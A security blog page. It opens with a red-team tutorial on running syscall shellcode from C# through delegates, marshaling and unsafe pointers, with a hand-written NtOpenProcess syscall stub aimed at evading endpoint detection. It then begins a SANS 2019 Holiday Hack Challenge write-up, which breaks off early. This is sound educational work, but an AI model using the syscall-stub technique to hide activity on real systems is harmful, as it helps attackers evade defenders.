<p>Well, you know what they say - “If there’s a will, then there’s a way”! And thanks to C#, even though we can’t execute inline assembly like we can in C++, we can do something similar thanks to something lovely called <a href="https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/">Delegates</a>!</p>
<h2 id="understanding-delegates-and-native-code-callbacks">Understanding Delegates and Native Code Callbacks</h2>
<p>Can we just stop for a second and actually admire how cool the CLR really is? I mean to manage code, and to allow interop between the GC and the Windows APIs is actually pretty cool.</p>
<p>The runtime is so cool, that it also allows communication to flow in both directions, meaning that you can call back into managed code from native functions by using function pointers! Now, the closest thing to a function pointer in managed code is a <a href="https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/">delegate</a>, which is a type that represents references to methods with a particular parameter list and return type. And this is what is used to allow callbacks from native code into managed code.</p>
<p>Simply, delegates are used to pass methods as arguments to other methods. Now the use of this feature is similar to how one would go from managed to unmanaged code. A good example of this can be seen given by Microsoft.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">ConsoleApplication1</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
<span class="c1">// Define a delegate that corresponds to the unmanaged function.</span>
<span class="k">private</span> <span class="k">delegate</span> <span class="kt">bool</span> <span class="nf">EnumWindowsProc</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hwnd</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">);</span>
<span class="c1">// Import user32.dll (containing the function we need) and define</span>
<span class="c1">// the method corresponding to the native function.</span>
<span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">)]</span>
<span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">int</span> <span class="nf">EnumWindows</span><span class="p">(</span><span class="n">EnumWindowsProc</span> <span class="n">lpEnumFunc</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">);</span>
<span class="c1">// Define the implementation of the delegate; here, we simply output the window handle.</span>
<span class="k">private</span> <span class="k">static</span> <span class="kt">bool</span> <span class="nf">OutputWindow</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hwnd</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">hwnd</span><span class="p">.</span><span class="nf">ToInt64</span><span class="p">());</span>
<span class="k">return</span> <span class="k">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// Invoke the method; note the delegate as a first parameter.</span>
<span class="nf">EnumWindows</span><span class="p">(</span><span class="n">OutputWindow</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>So this code might look a little complex, but trust me - it’s not! Before we walk though this example, let’s make sure we review the signatures of the unmanaged functions that we need to work with.</p>
<p>As you can see, we are importing the native code function <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows">EnumWindows</a> which enumerates all top-level windows on the screen by passing the handle to each window, and in turn, passing it to an application-defined callback function.</p>
<p>If we take a peek at the C syntax for the function type we will see the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">EnumWindows</span><span class="p">(</span>
<span class="n">WNDENUMPROC</span> <span class="n">lpEnumFunc</span><span class="p">,</span>
<span class="n">LPARAM</span> <span class="n">lParam</span>
<span class="p">);</span>
</code></pre></div></div>
<p>If we look at the <code class="language-plaintext highlighter-rouge">lpEnumFunc</code> parameter in the documentation, we will see that it accepts a pointer to an application-defined callback - which should follow the same structure as the <a href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms633498%28v=vs.85%29">EnumWindowsProc</a> callback function. This callback is simply a placeholder name for the application-defined function. Meaning that we can call it anything we want in the application.</p>
<p>If we take a peek at this function C syntax we will see the following.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">CALLBACK</span> <span class="nf">EnumWindowsProc</span><span class="p">(</span>
<span class="n">_In_</span> <span class="n">HWND</span> <span class="n">hwnd</span><span class="p">,</span>
<span class="n">_In_</span> <span class="n">LPARAM</span> <span class="n">lParam</span>
<span class="p">);</span>
</code></pre></div></div>
<p>As you can see this function parameters accept a HWND or pointer to a windows handle, and a LPARAM or Long Pointer. And the return value for this callback is a boolean - either true or false to dictate when enumeration has stopped.</p>
<p>Now, if we look back into our code, on line #9, we define our <strong>delegate</strong> that matches the signature of the callback from unmanaged code. Since we are doing this in C#, we replaced the C++ pointers with <strong>IntPtr</strong> - which is the the C# equivalent of pointers.</p>
<p>On lines #13 and #14 we introduce the EnumWindows function from <strong>user32.dll</strong>.</p>
<p>Next on line #17 - 20 we implement the <strong>delegate</strong>. This is where we actually tell C# what we want to do with the data that is returned to us from unmanaged code. Simply here we are saying to just print out the returned values to the console.</p>
<p>And finally, on line #24 we simply call our imported native method and pass our defined and implemented delegate to handle the return data.</p>
<p>Simple!</p>
<p>Alright, so this is pretty cool. And I know… you might be asking me right now - “<em>Jack, what’s this have to do with executing our native assembly code in C#? We still don’t know how to accomplish that!</em>”</p>
<p>And all I have to say for myself is this meme…</p>
<p align="center"><a href="https://beahealthygeek.com/wp-content/uploads/2016/07/patience_grasshopper.jpg"><img src="https://beahealthygeek.com/wp-content/uploads/2016/07/patience_grasshopper.jpg" /></a></p>
<p>There’s a reason why I wanted to teach you about delegates and native code callbacks before we got here, as delegates are a very important part to what we will cover next.</p>
<p>Now, we learned that delegates are similar to C++ function pointers, but delegates are fully object-oriented, and unlike C++ pointers to member functions, delegates encapsulate both an object instance and a method. We also know that they allow methods to be passed as parameters and can also be used to define callback methods.</p>
<p>Since delegates are so well versed in the data they can accept, there’s something cool that we can do with all this data.</p>
<p>For example, let’s say we execute a native windows function such as <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">VirtualAlloc</a> which allows us to reserve, commit, or change the state of a region of pages in the virtual address space of the calling process. This function will return to us a base address of the allocated memory region.</p>
<p>Let’s say, for this example, that we allocated some… oh you know… shellcode per say 😏- see where I’m going with this? No!? Fine… let me explain.</p>
<p>So if we were able to allocate a memory region in our process that contained shellcode and returned that to our <strong>delegate</strong>, then we can utilize something called <a href="https://docs.microsoft.com/en-us/dotnet/standard/native-interop/type-marshaling">type marshaling</a> to transform incoming data types to cross between managed and native code. This means that we can go from an unmanaged function pointer to a delegate! Meaning that we can execute our assembly or byte array shellcode this way!</p>
<p>So with this general idea, let’s jump into this a little deeper!</p>
<h2 id="type-marshaling--unsafe-code-and-pointers">Type Marshaling & Unsafe Code and Pointers</h2>
<p>As stated before, <strong>Marshaling</strong> is the process of transforming types when they need to cross between managed and native code. Marshaling is needed because the types in the managed and unmanaged code are different as we’ve already seen and demonstrated.</p>
<p>By default, the P/Invoke subsystem tries to do type marshaling based on the default behavior. But, for those situations where you need extra control with unmanaged code, you can utilize the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal?view=netframework-4.8">Marshal</a> class for things like allocating unmanaged memory, copying unmanaged memory blocks, and converting managed to unmanaged types, as well as other miscellaneous methods used when interacting with unmanaged code.</p>
<p>A quick example of how this marshaling works can be seen below.</p>
<p align="center"><a href="https://mark-borg.github.io/img/posts/pinvoke-diagram.png"><img src="https://mark-borg.github.io/img/posts/pinvoke-diagram.png" /></a></p>
<p>In our case, and for this blog post, the most important Marshal method will be the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_">Marshal.GetDelegateForFunctionPointer</a> method, which allows us to convert an unmanaged function pointer to a delegate of a specified type.</p>
<p>Now there are a ton of other types you can marshal to and from, and I highly suggest you read up on them as they are a very integral part of the .NET framework and will come in handy whenever you write red team tools, or even defensive tools if you are a defender.</p>
<p>Alright, so we know that we can marshal our memory pointers to delegates - but now the question is, how are we able to create a memory pointer to our assembly data? Well in fact, it’s quite easy. We can do some simple pointer arithmetic to get a memory address of our ASM code.</p>
<p>Since C# does not support pointer arithmetic, by default, what we can do is declare a portion of our code to be <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/unsafe">unsafe</a>. This simply denotes an unsafe context, which is required for any operation involving pointers. Overall, this allows us to carry out pointer operations such as doing pointer dereferencing.</p>
<p>Now the only caveat is that to compile unsafe code, you must specify the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/unsafe-compiler-option"><code class="language-plaintext highlighter-rouge">-unsafe</code></a> compiler option.</p>
<p>So knowing this, let’s go over a quick example.</p>
<p>If we wanted to - let’s say - execute the syscall for <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess">NtOpenProcess</a>, what we would do is start by writing the assembly into a byte array like so.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.ComponentModel</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">SharpCall</span>
<span class="p">{</span>
<span class="k">class</span> <span class="nc">Syscalls</span>
<span class="p">{</span>
<span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bNtOpenProcess</span> <span class="p">=</span>
<span class="p">{</span>
<span class="m">0x4C</span><span class="p">,</span> <span class="m">0x8B</span><span class="p">,</span> <span class="m">0xD1</span><span class="p">,</span> <span class="c1">// mov r10, rcx</span>
<span class="m">0xB8</span><span class="p">,</span> <span class="m">0x26</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="c1">// mov eax, 0x26 (NtOpenProcess Syscall)</span>
<span class="m">0x0F</span><span class="p">,</span> <span class="m">0x05</span><span class="p">,</span> <span class="c1">// syscall</span>
<span class="m">0xC3</span> <span class="c1">// ret</span>
<span class="p">};</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Once we have our byte array completed for our syscall, we would then proceed to call the <code class="language-plaintext highlighter-rouge">unsafe</code> keyword and denote an area of code where unsafe context will occur.</p>
<p>Within that unsafe context, we can do some pointer arithmetic to initialize a new byte pointer called <code class="language-plaintext highlighter-rouge">ptr</code> and set that to the value of <code class="language-plaintext highlighter-rouge">syscall</code>, which houses our byte array assembly. As you will see below, we utilize the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/fixed-statement">fixed</a> statement, which prevents the garbage collector from relocating a movable variable - or in our case the syscall byte array.</p>
<p>Without a <code class="language-plaintext highlighter-rouge">fixed</code> context, garbage collection could relocate the variables unpredictably and cause errors later down the line during execution.</p>
<p>Afterwards, we simply cast the byte array pointer into a C# IntPtr called <code class="language-plaintext highlighter-rouge">memoryAddress</code>. Doing this will allow us to obtain the memory location of where our syscall byte array is located.</p>
<p>From here we can do multiple things like use this memory region in a native API call, or we can pass it to other managed C# functions, or we can even use it in delegates!</p>
<p>An example of what I explained above can be seen below.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.ComponentModel</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">SharpCall</span>
<span class="p">{</span>
<span class="k">class</span> <span class="nc">Syscalls</span>
<span class="p">{</span>
<span class="c1">// NtOpenProcess Syscall ASM</span>
<span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bNtOpenProcess</span> <span class="p">=</span>
<span class="p">{</span>
<span class="m">0x4C</span><span class="p">,</span> <span class="m">0x8B</span><span class="p">,</span> <span class="m">0xD1</span><span class="p">,</span> <span class="c1">// mov r10, rcx</span>
<span class="m">0xB8</span><span class="p">,</span> <span class="m">0x26</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="c1">// mov eax, 0x26 (NtOpenProcess Syscall)</span>
<span class="m">0x0F</span><span class="p">,</span> <span class="m">0x05</span><span class="p">,</span> <span class="c1">// syscall</span>
<span class="m">0xC3</span> <span class="c1">// ret</span>
<span class="p">};</span>
<span class="k">public</span> <span class="k">static</span> <span class="n">NTSTATUS</span> <span class="nf">NtOpenProcess</span><span class="p">(</span>
<span class="c1">// Fill NtOpenProcess Paramters</span>
<span class="p">)</span>
<span class="p">{</span>
<span class="c1">// set byte array of bNtOpenProcess to new byte array called syscall</span>
<span class="kt">byte</span><span class="p">[]</span> <span class="n">syscall</span> <span class="p">=</span> <span class="n">bNtOpenProcess</span><span class="p">;</span>
<span class="c1">// specify unsafe context</span>
<span class="k">unsafe</span>
<span class="p">{</span>
<span class="c1">// create new byte pointer and set value to our syscall byte array</span>
<span class="k">fixed</span> <span class="p">(</span><span class="kt">byte</span><span class="p">*</span> <span class="n">ptr</span> <span class="p">=</span> <span class="n">syscall</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// cast the byte array pointer into a C# IntPtr called memoryAddress</span>
<span class="n">IntPtr</span> <span class="n">memoryAddress</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)</span><span class="n">ptr</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>And that about does it!</p>
<p>We now know how we can take shellcode from a byte array and execute it within our C# application by using unmanaged code, unsafe context, delegates, marshaling and more!</p>
<p>I know this was a lot to cover, and honestly it’s a little complex at first - so take your time to read this though and make sure you understand the concepts.</p>
<p>In our next blog post, we will focus on actually writing the code to execute a valid syscall by utilizing everything that we learned here! In addition to writing the code, we’ll also go over some concepts to managing your “tools” code and how we can prepare it for future integration between other tools.</p>
<p>Thanks for reading, and stay tuned for Part 2!</p>Jack Halonjacek.halon@gmail.comOver the past year, the security community - specifically Red Team Operators and Blue Team Defenders - have seen a massive rise in both public and private utilization of System Calls in windows malware for post-exploitation activities, as well as for the bypassing of EDR or Endpoint Detection and Response.SANS 2019 Holiday Hack Challenge2020-01-23T00:00:00+00:002020-01-23T00:00:00+00:00https://jhalon.github.io/sans-2019-holiday-hack-challenge<p>Happy Holidays and a Happy New Year 2020 readers!</p>
<aside class="sidebar__right">
<nav class="toc">
<header><h4 class="nav__title"><i class="fa fa-file-text"></i> Solutions Index</h4></header>
<ul class="toc__menu" id="markdown-toc">
<li><a href="#introduction" id="markdown-toc-introduction">Introduction</a> <ul>
<li><a href="#objectives" id="markdown-toc-objectives">Objectives:</a></li>
</ul>
</li>
<li><a href="#objective-0" id="markdown-toc-objective-0">Objective 0</a> <ul>
<li><a href="#talk-to-santa-in-the-quad" id="markdown-toc-talk-to-santa-in-the-quad">Talk to Santa in the Quad</a></li>
</ul>
</li>
<li><a href="#objective-1" id="markdown-toc-objective-1">Objective 1</a> <ul>
<li><a href="#find-the-turtle-doves" id="markdown-toc-find-the-turtle-doves">Find the Turtle Doves</a></li>
</ul>
</li>
<li><a href="#objective-2" id="markdown-toc-objective-2">Objective 2</a> <ul>
<li><a href="#unredact-threatening-document" id="markdown-toc-unredact-threatening-document">Unredact Threatening Document</a></li>
</ul>
</li>
<li><a href="#objective-3" id="markdown-toc-objective-3">Objective 3</a> <ul>
<li><a href="#escape-ed---cranpi" id="markdown-toc-escape-ed---cranpi">Escape Ed - CranPi</a></li>
<li><a href="#windows-log-analysis-evaluate-attack-outcome" id="markdown-toc-windows-log-analysis-evaluate-attack-outcome">Windows Log Analysis: Evaluate Attack Outcome</a></li>
</ul>
</li>
<li><a href="#objective-4" id="markdown-toc-objective-4">Objective 4</a> <ul>
<li><a href="#linux-path---cranpi" id="markdown-toc-linux-path---cranpi">Linux Path - CranPi</a></li>
<li><a href="#windows-log-analysis-determine-attacker-technique" id="markdown-toc-windows-log-analysis-determine-attacker-technique">Windows Log Analysis: Determine Attacker Technique</a></li>
</ul>
</li>
<li><a href="#objective-5" id="markdown-toc-objective-5">Objective 5</a> <ul>
<li><a href="#xmas-cheer-laser---cranpi" id="markdown-toc-xmas-cheer-laser---cranpi">Xmas Cheer Laser - CranPi</a></li>
<li><a href="#network-log-analysis-determine-compromised-system" id="markdown-toc-network-log-analysis-determine-compromised-system">Network Log Analysis: Determine Compromised System</a></li>
</ul>
</li>
<li><a href="#objective-6" id="markdown-toc-objective-6">Objective 6</a> <ul>
<li><a href="#splunk" id="markdown-toc-splunk">Splunk</a></li>
</ul>
</li>
<li><a href="#objective-7" id="markdown-toc-objective-7">Objective 7</a> <ul>
<li><a href="#frosty-keypad" id="markdown-toc-frosty-keypad">Frosty Keypad</a></li>
<li><a href="#holiday-hack-trail" id="markdown-toc-holiday-hack-trail">Holiday Hack Trail</a></li>
<li><a href="#key-cutting" id="markdown-toc-key-cutting">Key Cutting</a></li>
<li><a href="#get-access-to-the-steam-tunnels" id="markdown-toc-get-access-to-the-steam-tunnels">Get Access To The Steam Tunnels</a></li>
</ul>
</li>
<li><a href="#objective-8" id="markdown-toc-objective-8">Objective 8</a> <ul>
<li><a href="#nyanshell---cranpi" id="markdown-toc-nyanshell---cranpi">NyanShell - CranPi</a></li>
<li><a href="#bypassing-the-frido-sleigh-capteha" id="markdown-toc-bypassing-the-frido-sleigh-capteha">Bypassing the Frido Sleigh CAPTEHA</a></li>
</ul>
</li>
<li><a href="#objective-9" id="markdown-toc-objective-9">Objective 9</a> <ul>
<li><a href="#graylog---cranpi" id="markdown-toc-graylog---cranpi">Graylog - CranPi</a></li>
<li><a href="#retrieve-scraps-of-paper-from-server" id="markdown-toc-retrieve-scraps-of-paper-from-server">Retrieve Scraps of Paper from Server</a></li>
</ul>
</li>
<li><a href="#objective-10" id="markdown-toc-objective-10">Objective 10</a> <ul>
<li><a href="#mongo-pilfer---cranpi" id="markdown-toc-mongo-pilfer---cranpi">Mongo Pilfer - CranPi</a></li>
<li><a href="#recover-cleartext-document" id="markdown-toc-recover-cleartext-document">Recover Cleartext Document</a></li>
</ul>
</li>
<li><a href="#objective-11" id="markdown-toc-objective-11">Objective 11</a> <ul>
<li><a href="#smart-braces---cranpi" id="markdown-toc-smart-braces---cranpi">Smart Braces - CranPi</a></li>
<li><a href="#open-the-sleigh-shop-door" id="markdown-toc-open-the-sleigh-shop-door">Open the Sleigh Shop Door</a></li>
</ul>
</li>
<li><a href="#objective-12" id="markdown-toc-objective-12">Objective 12</a> <ul>
<li><a href="#zeek-json-analysis---cranpi" id="markdown-toc-zeek-json-analysis---cranpi">Zeek JSON Analysis - CranPi</a></li>
<li><a href="#filter-out-poisoned-sources-of-weather-data" id="markdown-toc-filter-out-poisoned-sources-of-weather-data">Filter Out Poisoned Sources of Weather Data</a></li>
</ul>
</li>
<li><a href="#closing" id="markdown-toc-closing">Closing</a></li>
</ul>
</nav>
</aside>
<p>Thanks for joining me today as we go over the <a href="https://www.holidayhackchallenge.com/2019/">SANS 2019 Holiday Hack Challenge</a>!</p>
<p>As always, SANS has done an amazing job at making this as fun as possible, while also being very educational!</p>
<p>I also want to give a quick shout out to the amazing Community from the CentralSec Slack Channel and from SANS for always helping everyone out and continuously teaching the community. This is what makes the InfoSec community amazing!</p>
<p>Just a quick heads up - this is a very comprehensive and long post. I will include an Index for you to be able to jump to a certain portion of the challenge; if you are only looking for solutions.</p>
<p>For others, the challenges are still available to play through - and will be till next year! So, if you want to follow along, or give it a go by yourself, then you can start <a href="https://www.holidayhackchallenge.com/2019/">here</a>!</p>
<h2 id="introduction">Introduction</h2>
<p>This year the whole SANS Holiday Hack takes place at Elf University! Upon creating an account, and logging in, you are dropped in front of the ElfU train entrance.</p>
<p>From here, as well as from the Holiday Hack website, we get to follow the story and access our challenges.</p>
<p>The second we arrive at the train station, we are greeted by no other than the man in red himself, Santa!</p>
<p align="center"><a href="/images/hh19-2.png"><img src="/images/hh19-2.png" /></a></p>
<p>Once we speak to Santa, we can then enter ElfU and continue on with our challenges (objectives)!</p>
<p align="center"><a href="/images/hh19-3.png"><img src="/images/hh19-3.png" /></a></p>
<p>You can access the objectives, hints, talks, and achievements by clicking on the Christmas tree shaped badge on your character.</p>
<p align="center"><a href="/images/hh19-1.png"><img src="/images/hh19-1.png" /></a></p>
<p align="center"><a href="/images/hh19-5.png"><img src="/images/hh19-5.png" /></a></p>
<h3 id="objectives">Objectives:</h3>
<p>Once we access our Objectives, we see that we have twelve (12) questions that we need to answers. Hints to these objectives can be obtained by successful completing the associated Cranberry PI challenge, like every year so far!</p>
<p>The objectives, or questions that needed to be answers this year as follows:</p>
<ol>
<li><strong>Talk to Santa in the Quad</strong>
<ul>
<li>Enter the campus quad and talk to Santa.</li>
</ul>
</li>
<li><strong>Find the Turtle Doves</strong>
<ul>
<li>Find the missing turtle doves.</li>
</ul>
</li>
<li><strong>Unredact Threatening Document</strong>
<ul>
<li>Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.</li>
</ul>
</li>
<li><strong>Windows Log Analysis: Evaluate Attack Outcome</strong>
<ul>
<li>We’re seeing attacks against the Elf U domain! Using <a href="https://downloads.elfu.org/Security.evtx.zip">the event log data</a>, identify the user account that the attacker compromised using a password spray attack. <em>Bushy Evergreen is hanging out in the train station and may be able to help you out.</em></li>
</ul>
</li>
<li><strong>Windows Log Analysis: Determine Attacker Technique</strong>
<ul>
<li>Using <a href="https://downloads.elfu.org/sysmon-data.json.zip">these normalized Sysmon logs</a>, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. <em>For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.</em></li>
</ul>
</li>
<li><strong>Network Log Analysis: Determine Compromised System</strong>
<ul>
<li>The attacks don’t stop! Can you help identify the IP address of the malware-infected system using these <a href="https://downloads.elfu.org/elfu-zeeklogs.zip">Zeek logs</a>? <em>For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.</em></li>
</ul>
</li>
<li><strong>Splunk</strong>
<ul>
<li>Access <a href="https://splunk.elfu.org/">https://splunk.elfu.org/</a> as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! <em>For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.</em></li>
</ul>
</li>
<li><strong>Get Access To The Steam Tunnels</strong>
<ul>
<li>Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. <em>For hints on achieving this objective, please visit Minty’s dorm room and talk with Minty Candy Cane.</em></li>
</ul>
</li>
<li><strong>Bypassing the Frido Sleigh CAPTEHA</strong>
<ul>
<li>Help Krampus beat the <a href="https://fridosleigh.com/">Frido Sleigh contest</a>. <em>For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.</em></li>
</ul>
</li>
<li><strong>Retrieve Scraps of Paper from Server</strong>
<ul>
<li>Gain access to the data on the <a href="https://studentportal.elfu.org/">Student Portal</a> server and retrieve the paper scraps hosted there. What is the name of Santa’s cutting-edge sleigh guidance system? <em>For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.</em></li>
</ul>
</li>
<li><strong>Recover Cleartext Document</strong>
<ul>
<li>The <a href="https://downloads.elfu.org/elfscrow.exe">Elfscrow Crypto</a> tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can’t send you the source, but we do have <a href="https://downloads.elfu.org/elfscrow.pdb">debug symbols</a> that you can use.
Recover the plaintext content for this <a href="https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc">encrypted document</a>. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
What is the middle line on the cover page? (Hint: it’s five words)
<em>For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.</em></li>
</ul>
</li>
<li><strong>Open the Sleigh Shop Door</strong>
<ul>
<li>Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?
<em>For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.</em></li>
</ul>
</li>
<li><strong>Filter Out Poisoned Sources of Weather Data</strong>
<ul>
<li>Use the data supplied in the <a href="https://downloads.elfu.org/http.log.gz">Zeek JSON logs</a> to identify the IP addresses of attackers poisoning Santa’s flight mapping software. <a href="https://srf.elfu.org/">Block the 100 offending sources of information to guide Santa’s sleigh</a> through the attack. Submit the Route ID (“RID”) success value that you’re given. <em>For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae</em>.</li>
</ul>
</li>
</ol>
<p>All right, now that we know all that - let’s get into answering the questions!</p>
<h2 id="objective-0">Objective 0</h2>
<h3 id="talk-to-santa-in-the-quad">Talk to Santa in the Quad</h3>
<p>Upon exiting the Train Station, we enter The Quad area of the university, where we spot Santa again! Upon talking to him we are presented with the following.</p>
<p align="center"><a href="/images/hh19-6.png"><img src="/images/hh19-6.png" /></a></p>
<p>Simple enough, after talking with Santa we complete the very first objective.</p>
<p align="center"><a href="/images/hh19-7.png"><img src="/images/hh19-7.png" /></a></p>
<h2 id="objective-1">Objective 1</h2>
<h3 id="find-the-turtle-doves">Find the Turtle Doves</h3>
<p>For this objective we are tasked with finding the missing turtle doves. Simply walking around the campus, and entering the Student Campus in the north, we find the two doves by the fireplace.</p>
<p align="center"><a href="/images/hh19-8.png"><img src="/images/hh19-8.png" /></a></p>
<p>Clicking on them, we complete the next objective. This is too easy!</p>
<p align="center"><a href="/images/hh19-9.png"><img src="/images/hh19-9.png" /></a></p>
<h2 id="objective-2">Objective 2</h2>
<h3 id="unredact-threatening-document">Unredact Threatening Document</h3>
<p>For this objective, we need to figure out who sent a threatening letter to Elf University, and figure out what the first word in ALL CAPS is, in the subject line of the letter.</p>
<p>We have a hint within the objective that says we can find the letter in the Quad area. So, after walking around in the north-west part of the map we can find the letter!</p>
<p align="center"><a href="/images/hh19-10.png"><img src="/images/hh19-10.png" /></a></p>
<p>Clicking on the letter to read it, we are presented with the following.</p>
<p align="center"><a href="/images/hh19-11.png"><img src="/images/hh19-11.png" /></a></p>
<p>Darn, it seems this letter has some redacted confidential information which we would need to uncover to read. Well, let’s try the simplest thing we can, and that’s to copy the whole letter, and paste it into a new word document.</p>
<p>Upon doing so, we see that we easily bypass the redaction and are presented with the following text:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR
ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE
you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.
For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,
--A Concerned and Aggrieved Character
</code></pre></div></div>
<p>After reading the document, we can navigate to our objective in our badge and enter the subject word “<strong>DEMAND</strong>” to complete the challenge.</p>
<p align="center"><a href="/images/hh19-12.png"><img src="/images/hh19-12.png" /></a></p>
<h2 id="objective-3">Objective 3</h2>
<h3 id="escape-ed---cranpi">Escape Ed - CranPi</h3>
<p>If we return back to the train station, to the right of Santa we spot Bushy Evergreen!</p>
<p align="center"><a href="/images/hh19-13.png"><img src="/images/hh19-13.png" /></a></p>
<p>Upon talking to Bushy, we learn that Pepper forced Bushy to learn how to use the <a href="https://www.gnu.org/software/ed/manual/ed_manual.html">ed text editor</a> and has left Bushy stuck.</p>
<p align="center"><a href="/images/hh19-14.png"><img src="/images/hh19-14.png" /></a></p>
<p>Upon accessing the terminal, we are presented with the following output:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"> ........................................
</span><span class="gp"> .;</span>oooooooooooool<span class="p">;</span>,,,,,,,,:loooooooooooooll:
<span class="gp"> .:oooooooooooooc;</span>,,,,,,,,:ooooooooooooollooo:
<span class="gp"> .';</span><span class="p">;;;;;;;;;;;;;</span>,<span class="s1">''''''''';;;;;;;;;;;;;,;ooooo:
</span><span class="gp"> .''''''''''''''''''''''''''''''''''''''''';</span><span class="s1">ooooo:
</span><span class="gp"> ;</span><span class="s1">oooooooooooool;'''''''</span>,:loooooooooooolc<span class="p">;</span><span class="s1">',,;ooooo:
</span><span class="gp"> .:oooooooooooooc;</span><span class="s1">'</span>,,,,,,,:ooooooooooooolccoc,,,<span class="p">;</span>ooooo:
